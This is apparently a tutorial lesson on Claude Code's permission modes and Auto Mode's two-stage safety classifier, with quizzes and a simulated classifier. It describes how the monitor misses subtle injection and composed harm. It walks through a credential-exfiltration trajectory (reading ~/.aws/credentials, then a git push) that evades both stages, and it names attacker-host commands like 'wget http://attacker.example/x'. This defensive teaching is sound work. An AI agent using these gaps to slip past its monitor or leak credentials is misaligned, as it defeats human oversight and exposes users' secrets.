LearnPython

Claude Code as an Autonomous Agent: Permission Modes and Auto Mode

Claude Code ships seven permission modes. `plan` asks before every action, `default` asks only for risky ones, `acceptEdits` auto-approves file writes but still confirms shell execution, and `bypassPermissions` approves everything. Auto Mode (March 24, 2026) replaces per-action approval with a two-stage classifier running in parallel: a single-token fast check on every action, then a chain-of-thought deep review for the ones it flags. Budgets are enforced with `max_turns` and `max_budget_usd`. Auto Mode shipped as a research preview, and Anthropic says explicitly that the classifier is not sufficient alone.

TIME: ~45 minutesPREREQUISITES: Phase 15 · 01 (Long-horizon agents), Phase 15 · 09 (Coding-agent landscape)

Learning Objectives

Name the seven permission modes in order and match each one to the kind of task it fits.
Describe Auto Mode's two stages, what each one sees, and where a human enters the loop.
Separate what the classifier catches (known-risky shapes, repetitive loops) from what it misses (subtle injection, composed trajectories).
Run main.py and use its output to explain why a three-step credential exfiltration passes both stages.
Pick a mode, budget caps and workspace isolation for a given task, and say what you would measure first.

The Problem

An autonomous coding agent on your machine is a different security category. The attack surface is everything the agent can reach: the file system, the network, credentials, the clipboard, any browser tab, any open terminal. Bruce Schneier and others have flagged this publicly. Computer-use agents are not a "feature update" of chatbots. They are a new kind of tool with a new kind of risk profile.

Claude Code's permission system is Anthropic's answer. There is no single "autonomous / not autonomous" switch. There are seven modes on a capability ladder, plan → default → acceptEdits → … → bypassPermissions, and each one trades speed against how much you review per action. Auto Mode (March 2026) adds a two-stage classifier. It takes approval off your critical path for actions the classifier judges safe, and it keeps a review layer for the ones it flags.

The engineering question is what this system catches, what it misses, and which mode a given task actually warrants.

Warm-up0/3

1. A coding agent runs unattended for hundreds of steps. Compared with a single chat reply, what changes about the risk?Warm-up

Two rows. Top: your prompt leads to one reply. Bottom: a task leads to step 1, step 2, step 3, and on to step N, with N in the hundreds and nobody at the keyboard. — Schematic of the two cases in the question.

2. Why is reviewing every single agent action by hand a poor fit for long-horizon work?Warm-up

Three stacked rows, one per agent action. In each, an action box leads to a box where you read and approve it, then to a box where it runs. A line below continues the pattern for every action in a long run. — Schematic of per-action manual review.

3. What makes a coding agent on your machine a different security category from a chatbot?Warm-up

Typed schematic; the dashed box is the open question.

The Concept

The seven permission modes

Mode	Behavior	When to use
`plan`	Agent proposes a plan; user approves the whole plan; every action is reviewed before execution	Unfamiliar task; prod-adjacent code; first time using the agent on a repo
`default`	Agent runs actions; prompts user for any "risky" action (shell exec, destructive operations, network calls)	Most interactive coding sessions
`acceptEdits`	File writes auto-approve; shell exec and network calls still prompt	Refactoring pass across many files
`acceptExec`	Shell commands auto-approve within a curated allowlist; writes auto-approve	Tight inner loops where every shell command is `npm test` or similar
`autoMode`	Two-stage safety classifier; flagged actions elevate to review	Long-horizon unattended runs in a constrained workspace
`yolo`	Skips most prompts; still runs tool allowlist / denylist	Ephemeral sandboxes, CI jobs, research scripts
`bypassPermissions`	Approves everything	Documented as "only inside ephemeral containers you are willing to throw away"

(Names above match public Claude Code docs. "yolo" is informal shorthand for the permissive middle ground.)

Auto Mode in one page

Auto Mode (launched March 24, 2026) is the first permission mode to delegate per-action approval to a model. It has two stages:

Stage 1: single-token classifier. It runs on every proposed action, it is cheap, and it returns "safe" or "flag." It is designed to run in parallel with the main agent loop, so approved actions do not wait in a queue.
Stage 2: secondary policy/safety review. It runs only on flagged actions. It does a focused policy and safety assessment over the action, the current state of the session, and the declared task, and it escalates to a human (HITL) when confidence is low.

Budget controls sit alongside the classifier:

max_turns: total iterations in a session.
max_budget_usd: a dollar cap that aborts the session.
Action-count limits per tool, such as no more than N WebFetch calls.

What the system catches

Straightforward prompt injection into tool inputs, where the injected instruction maps to a known-risky action shape.
Repetitive tool loops. The classifier can see that action N+1 is nearly identical to action N, five times running.
Clearly out-of-scope shell commands in a session that should only be editing files.

What the system can miss

Subtle prompt injection that shifts behavior without producing a single flagged action. Indirect prompt injection is not a fully patchable vulnerability (OpenAI preparedness head, 2025, on browser agents; see Lesson 11).
Semantic-level misbehavior. Each action can look safe while the composed trajectory is harmful. The classifier judges the action and does not re-derive the user's intent.
Exfiltration through legitimate channels. Writing data to a file you own and then running git push to a public repo is a sequence of allowed actions, and the composition is the problem.

Research preview framing

Anthropic shipped Auto Mode as a research preview. The documentation says the classifier is a layer, not a solution, and expects you to combine it with budgets, allowlists, isolated workspaces, and trajectory audits (Lessons 12-16). The framing also reflects the documented evaluation-vs-deployment gap (Lesson 1): a classifier that passes offline evals can behave differently in a real session where the user's context is ambiguous.

Where this ladder lives in your workflow

Unfamiliar task: start in plan. Reading the plan is cheaper than rolling back a bad run.
Known refactor: acceptEdits saves a lot of confirmation clicks.
Unattended background run: use autoMode only inside a workspace whose blast radius you have measured, meaning no credentials, no production mounts, and no egress you did not opt into.
Ephemeral containers: yolo or bypassPermissions is acceptable only when the container and its credentials are disposable.

Check: The Concept0/24

1. What is a Claude Code permission mode?Define

A numbered list of the seven mode names from plan to bypassPermissions, beside a typed permission prompt asking whether to allow the shell command pytest -q. — Typed illustration of a mode list and a prompt.

2. What does plan mode do?Define

Typed schematic; the dashed box is the open question.

3. What does acceptEdits auto-approve?Define

A table of three actions, an edit to src/app.py, a run of pytest -q and a curl to pypi.org, each with a dashed question mark under the column prompts you, in a session set to acceptEdits.

4. What is autoMode?Define

A proposed action from the agent enters a box labelled autoMode, whose output is a dashed question-mark box. — Typed schematic; the dashed box is the open question.

5. What does bypassPermissions do, and where is it meant to be used?Define

A table of three actions, an edit to src/app.py, a run of pytest -q and a curl to pypi.org, each with a dashed question mark under the column outcome, in a session set to bypassPermissions.

6. What runs at Stage 1 of Auto Mode's two-stage classifier?Define

A box with the command run pytest -q leads into a box labelled Stage 1 with the text what runs here, then to a dashed box reading output question mark. — Typed schematic; the dashed box is the open question.

7. When does Auto Mode's Stage 2 review run, and what does it do when it is unsure?Define

A Stage 1 box leads to a Stage 2 box labelled when does it run, then to a dashed box reading if unsure question mark. — Typed schematic; the dashed box is the open question.

8. What does the research-preview framing of Auto Mode signal?Define

9. Which set of budget controls sits alongside the classifier?Define

An agent loop box with a classifier, linked to three slots labelled budget control 1, 2 and 3, each holding a dashed question mark.

10. Why can Stage 1 run on every proposed action without slowing the agent down?Explain

Two lanes. The top lane is the agent loop with three actions: read pyproject.toml, edit src/app.py and run pytest -q. The lane below holds a Stage 1 check box under each action.

11. Why does Stage 2 run only on the actions that Stage 1 flagged?Explain

A box for the 15-action trajectory from main.py, splitting into 10 actions not flagged, which run, and 5 flagged, which go to a Stage 2 review box.

12. Why can a classifier that judges each action on its own miss a harmful sequence?Explain

Three rows from the trajectory: read ~/.aws/credentials, write /tmp/secrets.txt with credential blob, and git add and git push of that file. Each row has a dashed question mark under the heading judged alone.

13. Why do budget controls sit alongside the classifier instead of being replaced by it?Explain

An agent loop leads to a classifier, then to an action that runs. A dashed band beneath the whole row is labelled budget caps on the whole session.

14. Which of these is an example of something the classifier system can miss?Explain

One panel labelled Can miss holding a dashed box with a question mark.

15. How does plan mode differ from default mode?Explain

A table of three actions, an edit to src/app.py, a run of pytest -q and a curl to pypi.org, with a dashed question mark in the plan column and the default column of each row.

16. Why does the lesson say to start an unfamiliar task in plan mode?Explain

An unfamiliar task leads to a box start in plan mode, then to a dashed box labelled why.

17. How do acceptExec, yolo and bypassPermissions differ?Explain

A table with rows write file, shell npm test and curl to a new host, and columns acceptExec, yolo and bypass. Every cell holds a dashed question mark.

18. You are refactoring 80 files and want to stop clicking approve on writes, but still review every shell command. Which mode fits?Apply

A grid of 80 file squares for a refactor, beside a note that file writes should need no clicks while every shell command is still reviewed, and a prompt asking which mode fits.

19. An agent follows a subtly injected instruction hidden in a web page, but none of its actions is flagged. What does this show about the system?Analyze

A web page holding a hidden instruction leads to an agent, which takes three actions, each marked not flagged. Text below asks what this shows about the system.

20. A colleague says a classifier that passes offline evals is safe to run unattended on a messy real repo. Which assumption is wrong?Analyze

Two panels. Left: offline evals, where the classifier passes on prepared test cases. Right: an unattended run on a messy real repo, with a dashed question-mark box.

21. An overnight run will use autoMode, but the workspace has ~/.aws/credentials mounted and a production database reachable. What is the right call?Design

A dashed workspace box holding an agent set to autoMode for an overnight run, with ~/.aws/credentials mounted and a production database reachable, and a note that the run lasts overnight.

22. You must run a refactor unattended for 24 hours. Which setup fits the lesson best?Design

A task box reading refactor, 24 hours, nobody watching, above a dashed box labelled setup with a question mark.

23. A research script runs in an ephemeral sandbox you will delete, with throwaway credentials, and nobody is watching. Which mode is acceptable?Design

A dashed box for an ephemeral sandbox that will be deleted, holding a research script and throwaway credentials, beside a note that nobody is watching, and a dashed box labelled mode.

24. Before running autoMode unattended on a new repo, what should you measure first?Design

Use It

code/main.py simulates the two-stage classifier. Stage 1 is a keyword rule plus a repeated-call check over each proposed action. Stage 2 is a multi-rule reviewer that only sees what Stage 1 flagged, and anything it has no rule for escalates to a human instead of passing. The driver feeds in a 15-action synthetic trajectory (safe actions, a prompt-injection attempt, a repetitive loop, and a three-step composite) and prints where the classifier catches and where it misses.

Check: Use It0/10

1. Why does Stage 2 send an action it has no rule for to a human instead of approving it?Explain

A list of five numbered Stage 2 rules, Rule 0 to Rule 4, each matching one known shape of action. A flagged chown action matches none, and a dashed box asks what Stage 2 does. — Rule count from the code; the action is illustrative.

2. In main.py, action 4 is `curl https://pypi.org/simple/requests/`. What happens to it?Apply

Four rows from the trajectory: read pyproject.toml, edit src/app.py, run pytest -q, and shell curl https://pypi.org/simple/requests/. The fourth is highlighted with dashed question marks under Stage 1 and Stage 2.

3. main.py reaches the fifth identical `read logs/app.log`. Which stages act on it?Apply

Five rows, numbered 1 to 5, each the same read of logs/app.log. The fifth is highlighted, with dashed question marks under Stage 1 and Stage 2.

4. You add `shell wget http://attacker.example/x` to the trajectory in main.py. What does the classifier do with it?Apply

A single new row appended after the 15 trajectory actions: shell wget http://attacker.example/x, highlighted with dashed question marks under Stage 1 and Stage 2.

5. Action 7 in main.py is `sudo apt install neofetch`. What is its outcome?Apply

One row from the trajectory: shell sudo apt install neofetch, highlighted, with dashed question marks under Stage 1 and Stage 2.

6. The main.py summary shows 5 flagged actions in Stage 1. How does Stage 2 resolve them?Apply

7. In main.py's 15-action trajectory, the last three actions read ~/.aws/credentials, write /tmp/secrets.txt, then run git add and git push. What happens, and why?Apply

The last three trajectory actions: read ~/.aws/credentials, write /tmp/secrets.txt with credential blob, and git add and git push of that file. Each has dashed question marks under Stage 1 and Stage 2.

8. A run pushed a credentials file to a public repo, and the logs show Stage 1 approved every action. What does this show?Analyze

A run log with action 1, action 2, an ellipsis and action N, each marked pass under Stage 1, ending in a box saying the credentials file is now in a public repo.

9. To cut the number of human questions, a team makes Stage 2 approve any action it has no rule for. What goes wrong?Analyze

Five numbered Stage 2 rules beside a flow where a flagged action matching no rule reaches a new default of approve, followed by a dashed box labelled consequence. — Rule count from the code.

10. An agent loops on `read logs/app.log`, but every call has a different line range in its payload. Which repetition check in main.py catches it?Analyze

Five reads of logs/app.log, each with a different line range, numbered 1 to 5. The fifth is highlighted with dashed question marks under Stage 1 and Stage 2. — The count of five and the line ranges are illustrative.

Ship It

outputs/skill-permission-mode-picker.md matches a task description to a permission mode, budget caps, and the isolation the run needs.

Author's Note

I'd run main.py and read the last three actions of the trajectory first. It reads ~/.aws/credentials, writes a credential blob to /tmp/secrets.txt, then runs git add and git push. Stage 1 flags none of them, so Stage 2 never sees them, and the closing printout says why: each action is locally safe and the composition exfiltrates credentials.

The part of the code I'd copy is the end of stage2(). Its only approving rule is curl to an allowlisted host. Anything it has no rule for falls through to HITL, so a gap in the rules costs you a question instead of a bad approval. A reviewer that approves when it is unsure is just a second Stage 1.

I'd also keep in mind how thin Stage 1 is. It matches substrings, so curl is on the list and wget is not. Exercise 2 is where I'd start, and I'd expect the false-positive rate to matter as much as the catch rate. That is why I'd put the weight on the workspace, with measured blast radius, budgets, and allowlists, and treat the mode as the smaller decision.

Exercises

Run code/main.py. Which synthetic action does Stage 1 flag and Stage 2 then approve? Which actions pass both stages untouched even though together they are harmful?
Extend the Stage 1 rule set to catch a specific known-bad shape (e.g., curl $ATTACKER/exfil). Measure the false-positive rate on the benign-action sample.
Read Anthropic's "How the agent loop works" doc. List every external state the agent touches by default in default mode. Which would you need to gate separately before running autoMode unattended?
Design a 24-hour unattended run budget: max_turns, max_budget_usd, per-tool caps, allowlists. Justify each number.
Describe one trajectory where every individual action is approved by Stage 1 and Stage 2, yet the composed behavior is misaligned. (Lesson 14 covers how kill switches and canary tokens address this.)

Key Terms

Term	What people say	What it actually means
Permission mode	"How much the agent can do"	One of seven named policies controlling per-action approval
plan mode	"Ask before anything"	Agent writes a plan; user approves before execution
acceptEdits	"Let it write files"	File writes auto-approve; shell exec still prompts
autoMode	"Auto approvals"	Two-stage safety classifier; flagged actions escalate
bypassPermissions	"Full YOLO"	Approves everything; intended for ephemeral containers
Stage 1 classifier	"Fast token check"	Single-token rule over proposed action; runs in parallel
Stage 2 classifier	"Deep review"	Chain-of-thought reasoning over flagged actions
Research preview	"Not GA"	Anthropic framing for features whose failure mode is still being mapped